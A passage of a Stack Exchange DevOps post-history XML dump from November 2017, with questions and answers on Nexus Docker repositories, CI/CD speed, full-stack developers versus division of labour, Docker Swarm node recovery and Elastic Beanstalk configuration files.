NGINX or HAProxy, when you provision a new environment you will need to update this routing (ideally automatically) irrespective of what approach you take.&#xD;&#xA;&#xD;&#xA;Don't forget to consider how you'll handle the database/persistence layer &amp; zero down time deployments. The question to ask with the persistence layer is whether the team will share a database and how that will interact with things like migrations. On the topic of zero downtime deployments, CodeDeploy should handle that nicely for you. One more thing, you mentioned a single mobile application pointing to different environments, how will you point these applications to the environments.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.github.com/webhooks/&#xD;&#xA;  [2]: https://aws.amazon.com/answers/configuration-management/aws-ami-design/&#xD;&#xA;  [3]: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/Welcome.html&#xD;&#xA;  [4]: http://docs.aws.amazon.com/codedeploy/latest/userguide/welcome.html&#xD;&#xA;  [5]: http://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-listeners.html#host-conditions" ContentLicense="CC BY-SA 3.0" />
  <row Id="8119" PostHistoryTypeId="2" PostId="2599" RevisionGUID="8893d2be-5f5e-405f-89cf-665df484a9c6" CreationDate="2017-11-19T10:57:20.850" UserId="210" Text="[The following documentation][1] was found that indicates that:&#xD;&#xA;&#xD;&#xA;&gt; simply create a new docker (hosted) repository as documented in&#xD;&#xA;&gt; [Repository Management][2]&#xD;&#xA;&#xD;&#xA;The problem is that the format docker seems not to be available when trying to configure a &quot;Hosted repository&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.sonatype.com/pages/viewpage.action?pageId=5412197&#xD;&#xA;  [2]: https://help.sonatype.com/display/NXRM3/Repository+Management" ContentLicense="CC BY-SA 3.0" />
  <row Id="8120" PostHistoryTypeId="1" PostId="2599" RevisionGUID="8893d2be-5f5e-405f-89cf-665df484a9c6" CreationDate="2017-11-19T10:57:20.850" UserId="210" Text="How to store docker images in Nexus OSS" ContentLicense="CC BY-SA 3.0" />
  <row Id="8121" PostHistoryTypeId="3" PostId="2599" RevisionGUID="8893d2be-5f5e-405f-89cf-665df484a9c6" CreationDate="2017-11-19T10:57:20.850" UserId="210" Text="&lt;nexus&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8122" PostHistoryTypeId="2" PostId="2600" RevisionGUID="e36c2d9c-ea3c-4f9a-a5d4-ec7554d13e61" CreationDate="2017-11-19T11:52:17.590" UserId="210" Text="Nexus 2 was deployed instead of Nexus 3. The docker feature seems to be introduced since Nexus 3." ContentLicense="CC BY-SA 3.0" />
  <row Id="8123" PostHistoryTypeId="4" PostId="2597" RevisionGUID="40a7c624-0ebf-4737-8544-0cbddea62f79" CreationDate="2017-11-19T12:04:23.483" UserId="707" Comment="edited title" Text="What is the optimal speed relationship of CI/CD jobs to a (reference) local machine?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8124" PostHistoryTypeId="5" PostId="2597" RevisionGUID="40a7c624-0ebf-4737-8544-0cbddea62f79" CreationDate="2017-11-19T12:04:23.483" UserId="707" Comment="edited title" Text="Today, you could more or less setup a CI/CD toolchain by youself, even locally. Indeed I have seen teams doing it in an ITSM environment because the communication with management did not work.&#xD;&#xA;&#xD;&#xA;Nevertherless we know CI/CD is a very important, if not most important, company production line - it produces value, even if it is not seen so by ITSM to give it operations status and priority (in short, SLA for systems which should survive project time instead of setting them up in every project and department over and over).&#xD;&#xA;&#xD;&#xA;Let's ignore for simplicity network downloads.&#xD;&#xA;&#xD;&#xA;Question: what should be the execution speed of CI/CD relative to a setup on a local machine (if possible):&#xD;&#xA;&#xD;&#xA;- Same is ok?&#xD;&#xA;- Faster - how much faster?&#xD;&#xA;- Slower?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8125" PostHistoryTypeId="4" PostId="2597" RevisionGUID="a0eb9c56-00cd-4e9c-b8bb-6a93746f48cc" CreationDate="2017-11-19T12:44:59.527" UserId="707" Comment="edited title" Text="What is the optimal speed relation of CI/CD jobs to a (reference) local machine?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8126" PostHistoryTypeId="2" PostId="2601" RevisionGUID="a5f4f088-4976-490d-884c-a1a66d95dc9e" CreationDate="2017-11-19T13:07:41.293" UserId="707" Text="In [one another comment][1] here on DevOps SE we read:&#xD;&#xA;&#xD;&#xA;&gt;  &quot;Why a chef is the boss of the kitchen but a fullstack dev is not&#xD;&#xA;&gt; often the leader of a dev team, that's a question for another day&quot;&#xD;&#xA;&#xD;&#xA;So given the assumptions contained here are correct, why is so? Are we yet not there in terms of overall improvement and progress or is this economically nonsense (or, assumptions not correct)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2590/adam-smith-vs-fullstack-developers-and-productivity-in-devops" ContentLicense="CC BY-SA 3.0" />
  <row Id="8127" PostHistoryTypeId="1" PostId="2601" RevisionGUID="a5f4f088-4976-490d-884c-a1a66d95dc9e" CreationDate="2017-11-19T13:07:41.293" UserId="707" Text="Why a chef is the boss of the kitchen but a fullstack dev is not often the leader of a dev team?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8128" PostHistoryTypeId="3" PostId="2601" RevisionGUID="a5f4f088-4976-490d-884c-a1a66d95dc9e" CreationDate="2017-11-19T13:07:41.293" UserId="707" Text="&lt;culture&gt;&lt;project-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8133" PostHistoryTypeId="2" PostId="2603" RevisionGUID="35ba580c-51b5-4189-bdf1-431ef655fc99" CreationDate="2017-11-19T16:22:10.180" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8134" PostHistoryTypeId="1" PostId="2603" RevisionGUID="35ba580c-51b5-4189-bdf1-431ef655fc99" CreationDate="2017-11-19T16:22:10.180" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8135" PostHistoryTypeId="2" PostId="2604" RevisionGUID="d691d966-95e4-4dc5-8386-2fce9b862582" CreationDate="2017-11-19T16:22:10.180" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8136" PostHistoryTypeId="1" PostId="2604" RevisionGUID="d691d966-95e4-4dc5-8386-2fce9b862582" CreationDate="2017-11-19T16:22:10.180" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8137" PostHistoryTypeId="2" PostId="2605" RevisionGUID="70dad125-f896-4d1f-a7a3-150a0fcef08c" CreationDate="2017-11-19T16:28:54.423" UserId="47" Text="You want the execution speed of the CI pipeline as fast as (practically) possible, irrespective of being a local or shared setup or the time required to set it up - this is what effectively dictates the overall development speed in the respective project.&#xD;&#xA;&#xD;&#xA;But it should be noted that by speed here I don't mean the *duration* of each CI execution. The duration of such execution may be directly related to the coverage of the CI QA verification, which translates into stabiliity of the development process and the quality of the product. For example including a smoketest in the CI verification will increase the duration of the CI execution, but will also raise the product quality - it's a good thing.&#xD;&#xA;&#xD;&#xA;But I have to mention: such private CI setups (even those SLA-backed CI setups you mention) are often an indication of what the ThoughtWorks team called [the CI Theatre][1]. Simply using CI tools doesn't make the process a CI one. Using project/feature/integration branches which still require subsequent branch merges (other than cherry-picked fixes) before release means development is still done in silos (those branches are the silos) - waterfall style. &#xD;&#xA;&#xD;&#xA;Side note: Frankly, if I'd be part of a team in which management doesn't understand the importance of CI (let alone not being able to effectively communicate on such critical subject) I'd look for another job - I doubt they'll remain in business for very long ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.gocd.org/2017/05/16/its-not-CI-its-CI-theatre.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="8141" PostHistoryTypeId="5" PostId="2600" RevisionGUID="08c22954-4c59-40a8-952f-6dbd45344673" CreationDate="2017-11-19T16:38:32.600" UserId="210" Comment="added 196 characters in body" Text="Nexus 2 was deployed instead of Nexus 3. The docker feature seems to be introduced since Nexus 3.&#xD;&#xA;&#xD;&#xA;[This blog][1] indicates how to configure a docker repository and how to push and pull docker images.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.sonatype.com/using-nexus-3-as-your-repository-part-3-docker-images" ContentLicense="CC BY-SA 3.0" />
  <row Id="8144" PostHistoryTypeId="2" PostId="2607" RevisionGUID="570f2a81-6c4a-4dd8-9e2a-79718788e885" CreationDate="2017-11-19T17:27:13.237" UserId="47" Text="IMHO the answer has a lot to do with scale and resource availability.&#xD;&#xA;&#xD;&#xA;I believe Adam Smith's theory can only be applied at large scale - entire nations/economies in the original context, or, in the SW development context - large development teams.&#xD;&#xA;&#xD;&#xA;In a large team it is, indeed, more efficient to hire more specialized human resources:&#xD;&#xA;&#xD;&#xA;- they aren't rockstars - often considered a danger sign in such large organisations&#xD;&#xA;- they're typically easier to find, cheaper that those with wider expertise spectrum&#xD;&#xA;- they typically don't raise attrition risks - for example they won't be unhappy because they only use a subset of their skills.&#xD;&#xA;- they can adjust the size of the resource pools as needed - typically by firing/hiring&#xD;&#xA;&#xD;&#xA;In a (maybe weird) devopsy comparison the [&quot;cattle vs pets&quot;][1] principle can be applied in such larger organisations, and for quite similar reasons. These specialized resources are, from the business prospective, literally just capita in human resource pools.&#xD;&#xA;&#xD;&#xA;Oh, and such teams can only be functional if they are complemented by high-quality architect resources which would be necessary to split the product in the smaller, specialized tasks that can be addressed with the specialized resources.&#xD;&#xA;&#xD;&#xA;In smaller scale or even one-man teams (typically startups or even isolated smaller teams in larger organisations) it's ineffective or even impossible to use such resources and still get the job done:&#xD;&#xA;&#xD;&#xA;- they simply don't have the budget/resources to hire many different specialized resources&#xD;&#xA;- they actually seek/appreciate rockstars which can wear multiple hats and immediately switch roles with great flexibility, without incuring delays and additional HR costs&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/653/what-is-the-definition-of-cattle-not-pets" ContentLicense="CC BY-SA 3.0" />
  <row Id="8145" PostHistoryTypeId="5" PostId="2601" RevisionGUID="27a78d59-71b2-4919-ab0d-b89d3148827f" CreationDate="2017-11-19T18:19:41.933" UserId="47" Comment="better reference" Text="In [one another comment][1] here on DevOps SE we read:&#xD;&#xA;&#xD;&#xA;&gt;  &quot;Why a chef is the boss of the kitchen but a fullstack dev is not&#xD;&#xA;&gt; often the leader of a dev team, that's a question for another day&quot;&#xD;&#xA;&#xD;&#xA;So given the assumptions contained here are correct, why is so? Are we yet not there in terms of overall improvement and progress or is this economically nonsense (or, assumptions not correct)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2590/adam-smith-vs-fullstack-developers-and-productivity-in-devops/2594#comment3902_2594" ContentLicense="CC BY-SA 3.0" />
  <row Id="8146" PostHistoryTypeId="2" PostId="2608" RevisionGUID="42689c00-86e9-426d-96c5-9095a0edf940" CreationDate="2017-11-19T19:08:36.193" UserId="2805" Text="I would check that all nodes are active and ready with command&#xD;&#xA;&#xD;&#xA;    docker node ls&#xD;&#xA;&#xD;&#xA;With &#xD;&#xA;&#xD;&#xA;    docker swarm leave&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    docker swarm join \&#xD;&#xA;    --token &lt;SWMTKN token&gt; \&#xD;&#xA;    &lt;manager private IP&gt;&#xD;&#xA;&#xD;&#xA;you may rejoin malfunctioning node. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8147" PostHistoryTypeId="2" PostId="2609" RevisionGUID="39879923-b764-4536-9cf5-5579a692e2d3" CreationDate="2017-11-19T19:42:44.020" UserId="47" Text="IMHO the comment is a bit misleading, in the sense that `a chef is the boss of the kitchen` mixes up and/or attempts to compare the unique leader/chef **role** (in French, `chef` literally means chief/boss/leader) with the **expertise** required to fill that role. By contrast, the `full-stack developer` is just an expertise, it is not a unique role.&#xD;&#xA;&#xD;&#xA;If I'm not mistaken to become a chef one has to have experience in every other position in the kitchen. Similarly, a full-stack developer's expertise covers frontend, backend, etc - every other more specialized expertise required for the team's product. Which is probably the starting point for the comparison in the comment. &#xD;&#xA;&#xD;&#xA;As I mentioned in [my answer][2] to that post, scale matters. &#xD;&#xA;&#xD;&#xA;In a large team, the requirement for the leadership position isn't necessarily the technical expertise. Which is why often in software development the team leadership's role is a management position, not a technical one. Clear labour division example, if you want.&#xD;&#xA;&#xD;&#xA;It's not impossible to even have multiple persons qualified to fill the chef role in the same kitchen, but only one can actually fill that position at any time, `a chef` in this context really refers to the role, not to the expertise. Also - there may be many types of chefs in a kitchen, see, for example [Chef Jobs on Cruise Liners][1] :)&#xD;&#xA;&#xD;&#xA;But in a small resource-starved team where the team leader has to be selected for between the only full-stack developer and one or more less-experienced ones - probably the full-stack developer will be the leader, just like the only person qualified to be a chef in a small kitchen.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jobmonkey.com/chefjobs/cruise-chef/&#xD;&#xA;  [2]: https://devops.stackexchange.com/a/2607/47" ContentLicense="CC BY-SA 3.0" />
  <row Id="8148" PostHistoryTypeId="5" PostId="2609" RevisionGUID="1b9d9d56-0438-449e-8580-7ab27d704be0" CreationDate="2017-11-19T19:47:46.853" UserId="47" Comment="added 1 character in body" Text="IMHO the comment is a bit misleading, in the sense that `a chef is the boss of the kitchen` mixes up and/or attempts to compare the unique leader/chef **role** (in French, `chef` literally means chief/boss/leader) with the **expertise** required to fill that role. By contrast, the `full-stack developer` is just an expertise, it is not a unique role.&#xD;&#xA;&#xD;&#xA;If I'm not mistaken to become a chef one has to have experience in every other position in the kitchen. Similarly, a full-stack developer's expertise covers frontend, backend, etc - every other more specialized expertise required for the team's product. Which is probably the starting point for the comparison in the comment. &#xD;&#xA;&#xD;&#xA;As I mentioned in [my answer][2] to that post, scale matters. &#xD;&#xA;&#xD;&#xA;In a large team, the requirement for the leadership position isn't necessarily the technical expertise. Which is why often in software development the team leadership's role is a management position, not a technical one. Clear labour division example, if you want.&#xD;&#xA;&#xD;&#xA;It's not impossible to even have multiple persons qualified to fill the chef role in the same kitchen, but only one can actually fill that position at any time, `a chef` in this context really refers to the role, not to the expertise. Also - there may be many types of chefs in a kitchen, see, for example [Chef Jobs on Cruise Liners][1] :)&#xD;&#xA;&#xD;&#xA;But in a small resource-starved team where the team leader has to be selected from between the only full-stack developer and one or more less-experienced ones - probably the full-stack developer will be the leader, just like the only person qualified to be a chef in a small kitchen.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jobmonkey.com/chefjobs/cruise-chef/&#xD;&#xA;  [2]: https://devops.stackexchange.com/a/2607/47" ContentLicense="CC BY-SA 3.0" />
  <row Id="8149" PostHistoryTypeId="5" PostId="2590" RevisionGUID="16351b15-ec2a-4dd0-9fb3-f7d3115110f3" CreationDate="2017-11-19T19:50:25.107" UserId="707" Comment="added 57 characters in body" Text="By Adam Smith, labour division can make you *by 240 times* more effective (on example of a pin factory producing pins in 18 steps).&#xD;&#xA;&#xD;&#xA;**Why then are multi-skilled roles are so in demand if this actually reduces productivity - or was Smith just wrong, why then?**&#xD;&#xA;&#xD;&#xA;Searches for &quot;fullstack developer&quot; still trend on Google, however slower then it seemed to be two years ago.&#xD;&#xA;&#xD;&#xA;https://pasteboard.co/GUezWmX.png &#xD;&#xA;&#xD;&#xA;=====&#xD;&#xA;&#xD;&#xA;To sum up, a *full stack developer* would be able do virtually all the value chain (correct me if I am wrong):&#xD;&#xA;&#xD;&#xA;- Discuss with customers and refine workable agile requirements for his part of the job&#xD;&#xA;- Decide which architecture, tooling and components pick up - just give him a notebook&#xD;&#xA;- Write code for frontend, backend, ingration, which is cross device compatile and does not requrire much testing, or includes it&#xD;&#xA;- Profile and scape data, use Cloud AI/ML APIs for advanced features&#xD;&#xA;- Write up required IaC code and rollout&#xD;&#xA;- Be on call in case of error or sales processes&#xD;&#xA;- Be aware of security relevant design, overall patching, migration and modernization&#xD;&#xA;- Account time table in a scroutinized way to ease invoicing of the employer&#xD;&#xA;- ... did I forgot anything?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8150" PostHistoryTypeId="5" PostId="2590" RevisionGUID="f30c11a1-a8ee-431e-b634-d3c53c2c9130" CreationDate="2017-11-19T19:58:28.960" UserId="47" Comment="inlined image" Text="By Adam Smith, labour division can make you *by 240 times* more effective (on example of a pin factory producing pins in 18 steps).&#xD;&#xA;&#xD;&#xA;**Why then are multi-skilled roles are so in demand if this actually reduces productivity - or was Smith just wrong, why then?**&#xD;&#xA;&#xD;&#xA;Searches for &quot;fullstack developer&quot; still trend on Google, however apparently slower than two years ago:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1] &#xD;&#xA;&#xD;&#xA;=====&#xD;&#xA;&#xD;&#xA;To sum up, a *full stack developer* would be able do virtually all the value chain (correct me if I am wrong):&#xD;&#xA;&#xD;&#xA;- Discuss with customers and refine workable agile requirements for his part of the job&#xD;&#xA;- Decide which architecture, tooling and components pick up - just give him a notebook&#xD;&#xA;- Write code for frontend, backend, ingration, which is cross device compatile and does not requrire much testing, or includes it&#xD;&#xA;- Profile and scape data, use Cloud AI/ML APIs for advanced features&#xD;&#xA;- Write up required IaC code and rollout&#xD;&#xA;- Be on call in case of error or sales processes&#xD;&#xA;- Be aware of security relevant design, overall patching, migration and modernization&#xD;&#xA;- Account time table in a scroutinized way to ease invoicing of the employer&#xD;&#xA;- ... did I forgot anything?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/2a7ie.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8151" PostHistoryTypeId="5" PostId="2598" RevisionGUID="fa40f5a2-0fce-4502-94cf-0d85adfb6f0c" CreationDate="2017-11-19T20:01:00.847" UserId="5268" Comment="Added some further progress" Text="I am using the Elastic Beanstalk web UI to create an environment, for a single Docker container. I would like to put all the environment options into a .config file in the application bundle. I'm getting close to this. With the options below I'm nearly there. However, I do have to use the web UI &quot;Configure more options&quot; and change &quot;Capacity&quot; &quot;Environment type&quot; to &quot;Load balanced&quot;. Without that my environment fails to start and I get  error messages like:&#xD;&#xA;&#xD;&#xA;&quot;Load Balancer ListenerEnabled setting cannot be applied because AWSEBLoadBalancer doesn't exist.&quot;&#xD;&#xA;&#xD;&#xA;Ideas? &#xD;&#xA;&#xD;&#xA;Here is the .config file I'm using in my application bundle:&#xD;&#xA;&#xD;&#xA;    option_settings:  &#xD;&#xA;      aws:elasticbeanstalk:environment:&#xD;&#xA;        ServiceRole: aws-elasticbeanstalk-service-role&#xD;&#xA;        LoadBalancerType: classic&#xD;&#xA;        EnvironmentType: LoadBalanced&#xD;&#xA;      aws:elb:loadbalancer:&#xD;&#xA;        CrossZone: 'false'&#xD;&#xA;      aws:elb:listener:&#xD;&#xA;        ListenerEnabled: 'false'&#xD;&#xA;      aws:elb:listener:443:&#xD;&#xA;        ListenerProtocol: HTTPS&#xD;&#xA;        SSLCertificateId: &lt;snip&gt;&#xD;&#xA;        InstancePort: 80&#xD;&#xA;        InstanceProtocol: HTTP&#xD;&#xA;      aws:elasticbeanstalk:healthreporting:system:&#xD;&#xA;        SystemType: enhanced&#xD;&#xA;      aws:autoscaling:launchconfiguration:&#xD;&#xA;        IamInstanceProfile: aws-elasticbeanstalk-ec2-role&#xD;&#xA;        InstanceType: t2.micro&#xD;&#xA;        EC2KeyName: amazon1    &#xD;&#xA;      aws:autoscaling:asg:&#xD;&#xA;        MaxSize: '1'&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;Followup, 11/19/17&#xD;&#xA;&#xD;&#xA;I've changed things a little and perhaps made a little headway. I didn't know about giving Resources in .config files before. So, I've added a second .config file. I give my current config files below. My situation now is that while the environment startup proceeds farther, it doesn't succeed. The environment launches and all looks good until the very last minute, but where I'd expect the health to transition to Ok, it transitions to Severe:&#xD;&#xA;&#xD;&#xA;&gt; Environment health has transitioned from Pending to Severe.&#xD;&#xA;&gt; Initialization completed 45 seconds ago and took 2 minutes. ELB health&#xD;&#xA;&gt; is failing or not available for all instances.&#xD;&#xA;&#xD;&#xA;I have tried changing the ordering of the config files by prepending their names with 00_ and 01_ but independent of the order of the two files, I get exactly the same outcome as above (&quot;Environment health has transitioned...&quot;). Also, I've looked at the logs and see nothing useful there. In fact, there's nothing indicating an error in the logs as far as I can see.&#xD;&#xA;&#xD;&#xA;Resources file:&#xD;&#xA;&#xD;&#xA;    Resources:&#xD;&#xA;      AWSEBLoadBalancer:&#xD;&#xA;        Type: AWS::ElasticLoadBalancing::LoadBalancer&#xD;&#xA;        Properties:&#xD;&#xA;          CrossZone: False&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Options file:&#xD;&#xA;&#xD;&#xA;    option_settings:&#xD;&#xA;      aws:elasticbeanstalk:environment:&#xD;&#xA;        ServiceRole: aws-elasticbeanstalk-service-role&#xD;&#xA;      aws:elb:listener:&#xD;&#xA;        ListenerEnabled: 'false'&#xD;&#xA;      aws:elb:listener:443:&#xD;&#xA;        ListenerProtocol: HTTPS&#xD;&#xA;        SSLCertificateId: &lt;snip&gt;&#xD;&#xA;        InstancePort: 80&#xD;&#xA;        InstanceProtocol: HTTP&#xD;&#xA;      aws:elasticbeanstalk:healthreporting:system:&#xD;&#xA;        SystemType: enhanced&#xD;&#xA;      aws:autoscaling:launchconfiguration:&#xD;&#xA;        IamInstanceProfile: aws-elasticbeanstalk-ec2-role&#xD;&#xA;        InstanceType: t2.micro&#xD;&#xA;        EC2KeyName: amazon1    &#xD;&#xA;      aws:autoscaling:asg:&#xD;&#xA;        MaxSize: '1'&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8152" PostHistoryTypeId="5" PostId="2607" RevisionGUID="a875b087-fa99-423f-927b-78199e8e22da" CreationDate="2017-11-19T20:06:53.600" UserId="47" Comment="added 45 characters in body" Text="IMHO the answer has a lot to do with scale and resource availability.&#xD;&#xA;&#xD;&#xA;I believe Adam Smith's theory can only be applied at large scale - entire nations/economies in the original context, or, in the SW development context - large development teams.&#xD;&#xA;&#xD;&#xA;In a large team it is, indeed, more efficient to hire more specialized human resources:&#xD;&#xA;&#xD;&#xA;- they aren't rockstars - often considered a danger sign in such large organisations&#xD;&#xA;- they're typically easier to find, cheaper that those with wider expertise spectrum&#xD;&#xA;- they typically don't raise attrition risks - for example they won't be unhappy because they only use a subset of their skills.&#xD;&#xA;- in a (maybe weird) devopsy comparison the [&quot;cattle vs pets&quot;][1] principle can be applied in such larger organisations, and for quite similar reasons. These specialized resources are, from the business prospective, literally just capita in human resource pools, which sizes that can be rapidly adjusted as needed, typically by hiring/firing.&#xD;&#xA;&#xD;&#xA;Oh, and such teams can only be functional if they are complemented by high-quality architect resources which would be necessary to split the product in the smaller, specialized tasks that can be addressed with the specialized resources.&#xD;&#xA;&#xD;&#xA;In smaller scale or even one-man teams (typically startups or even isolated smaller teams in larger organisations) it's ineffective or even impossible to use such resources and still get the job done:&#xD;&#xA;&#xD;&#xA;- they simply don't have the budget/resources to hire the many different specialized resources necessary to cover the entire product development&#xD;&#xA;- they actually seek/appreciate rockstars which can wear multiple hats and immediately switch roles with great flexibility, without incuring delays and additional HR costs&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/653/what-is-the-definition-of-cattle-not-pets" ContentLicense="CC BY-SA 3.0" />
  <row Id="8153" PostHistoryTypeId="50" PostId="1832" RevisionGUID="1b81e09a-d9ed-4eca-9dec-3305c169b2c2" CreationDate="2017-11-19T20:54:45.833" UserId="-1" />
  <row Id="8154" PostHistoryTypeId="5" PostId="2590" RevisionGUID="0021d394-cddb-472b-8139-10a85216b1da" CreationDate="2017-11-19T21:16:23.313" UserId="707" Comment="edited body" Text="By Adam Smith, labour division can make you *by 240 times* more effective (on example of a pin factory producing pins in 18 steps).&#xD;&#xA;&#xD;&#xA;**Why then are multi-skilled roles are so in demand if this actually reduces productivity - or was Smith just wrong, why then?**&#xD;&#xA;&#xD;&#xA;Searches for &quot;fullstack developer&quot; still trend on Google, however apparently slower than two years ago:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1] &#xD;&#xA;&#xD;&#xA;=====&#xD;&#xA;&#xD;&#xA;To sum up, a *full stack developer* would be able do virtually all the value chain (correct me if I am wrong):&#xD;&#xA;&#xD;&#xA;- Discuss with customers and refine workable agile requirements for his part of the job&#xD;&#xA;- Decide which architecture, tooling and components pick up - just give him a notebook&#xD;&#xA;- Write code for frontend, backend, ingration, which is cross device compatile and does not requrire much testing, or includes it&#xD;&#xA;- Profile and scape data, use Cloud AI/ML APIs for advanced features&#xD;&#xA;- Write up required IaC code and rollout&#xD;&#xA;- Be on call in case of error or sales processes&#xD;&#xA;- Be aware of security relevant design, overall patching, migration and modernization&#xD;&#xA;- Account time table in a scroutinized way to ease invoicing of the employer&#xD;&#xA;- ... did I forget anything?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/2a7ie.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8155" PostHistoryTypeId="50" PostId="1411" RevisionGUID="4a5f195b-5450-4888-81d3-1ca73b949d9b" CreationDate="2017-11-19T21:54:45.873" UserId="-1" />
  <row Id="8156" PostHistoryTypeId="50" PostId="1423" RevisionGUID="2284c50b-a840-492e-86eb-5dc64337016c" CreationDate="2017-11-19T22:54:55.603" UserId="-1" />
  <row Id="8157" PostHistoryTypeId="2" PostId="2610" RevisionGUID="aad89193-de6a-4d1d-bd19-c949251b433c" CreationDate="2017-11-19T22:55:24.333" UserId="4369" Text="They should be roughly equal.&#xD;&#xA;&#xD;&#xA;If the CI system is faster than running it locally, your local development is going to be uncomfortably slow.&#xD;&#xA;&#xD;&#xA;If your CI system is much slower than running it locally, it will become something that is an obstacle rather than something provides value." ContentLicense="CC BY-SA 3.0" />
  <row Id="8158" PostHistoryTypeId="5" PostId="2598" RevisionGUID="2e737233-b13f-40cf-85bc-f90df14b89a5" CreationDate="2017-11-20T00:06:59.197" UserId="5268" Comment="added 1150 characters in body" Text="I am using the Elastic Beanstalk web UI to create an environment, for a single Docker container. I would like to put all the environment options into a .config file in the application bundle. I'm getting close to this. With the options below I'm nearly there. However, I do have to use the web UI &quot;Configure more options&quot; and change &quot;Capacity&quot; &quot;Environment type&quot; to &quot;Load balanced&quot;. Without that my environment fails to start and I get  error messages like:&#xD;&#xA;&#xD;&#xA;&quot;Load Balancer ListenerEnabled setting cannot be applied because AWSEBLoadBalancer doesn't exist.&quot;&#xD;&#xA;&#xD;&#xA;Ideas? &#xD;&#xA;&#xD;&#xA;Here is the .config file I'm using in my application bundle:&#xD;&#xA;&#xD;&#xA;    option_settings:  &#xD;&#xA;      aws:elasticbeanstalk:environment:&#xD;&#xA;        ServiceRole: aws-elasticbeanstalk-service-role&#xD;&#xA;        LoadBalancerType: classic&#xD;&#xA;        EnvironmentType: LoadBalanced&#xD;&#xA;      aws:elb:loadbalancer:&#xD;&#xA;        CrossZone: 'false'&#xD;&#xA;      aws:elb:listener:&#xD;&#xA;        ListenerEnabled: 'false'&#xD;&#xA;      aws:elb:listener:443:&#xD;&#xA;        ListenerProtocol: HTTPS&#xD;&#xA;        SSLCertificateId: &lt;snip&gt;&#xD;&#xA;        InstancePort: 80&#xD;&#xA;        InstanceProtocol: HTTP&#xD;&#xA;      aws:elasticbeanstalk:healthreporting:system:&#xD;&#xA;        SystemType: enhanced&#xD;&#xA;      aws:autoscaling:launchconfiguration:&#xD;&#xA;        IamInstanceProfile: aws-elasticbeanstalk-ec2-role&#xD;&#xA;        InstanceType: t2.micro&#xD;&#xA;        EC2KeyName: amazon1    &#xD;&#xA;      aws:autoscaling:asg:&#xD;&#xA;        MaxSize: '1'&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;Followup, 11/19/17&#xD;&#xA;&#xD;&#xA;I've changed things a little and perhaps made a little headway. I didn't know about giving Resources in .config files before. So, I've added a second .config file. I give my current config files below. My situation now is that while the environment startup proceeds farther, it doesn't succeed. The environment launches and all looks good until the very last minute, but where I'd expect the health to transition to Ok, it transitions to Severe:&#xD;&#xA;&#xD;&#xA;&gt; Environment health has transitioned from Pending to Severe.&#xD;&#xA;&gt; Initialization completed 45 seconds ago and took 2 minutes. ELB health&#xD;&#xA;&gt; is failing or not available for all instances.&#xD;&#xA;&#xD;&#xA;I have tried changing the ordering of the config files by prepending their names with 00_ and 01_ but independent of the order of the two files, I get exactly the same outcome as above (&quot;Environment health has transitioned...&quot;). Also, I've looked at the logs and see nothing useful there. In fact, there's nothing indicating an error in the logs as far as I can see.&#xD;&#xA;&#xD;&#xA;Resources file:&#xD;&#xA;&#xD;&#xA;    Resources:&#xD;&#xA;      AWSEBLoadBalancer:&#xD;&#xA;        Type: AWS::ElasticLoadBalancing::LoadBalancer&#xD;&#xA;        Properties:&#xD;&#xA;          CrossZone: False&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Options file:&#xD;&#xA;&#xD;&#xA;    option_settings:&#xD;&#xA;      aws:elasticbeanstalk:environment:&#xD;&#xA;        ServiceRole: aws-elasticbeanstalk-service-role&#xD;&#xA;      aws:elb:listener:&#xD;&#xA;        ListenerEnabled: 'false'&#xD;&#xA;      aws:elb:listener:443:&#xD;&#xA;        ListenerProtocol: HTTPS&#xD;&#xA;        SSLCertificateId: &lt;snip&gt;&#xD;&#xA;        InstancePort: 80&#xD;&#xA;        InstanceProtocol: HTTP&#xD;&#xA;      aws:elasticbeanstalk:healthreporting:system:&#xD;&#xA;        SystemType: enhanced&#xD;&#xA;      aws:autoscaling:launchconfiguration:&#xD;&#xA;        IamInstanceProfile: aws-elasticbeanstalk-ec2-role&#xD;&#xA;        InstanceType: t2.micro&#xD;&#xA;        EC2KeyName: amazon1    &#xD;&#xA;      aws:autoscaling:asg:&#xD;&#xA;        MaxSize: 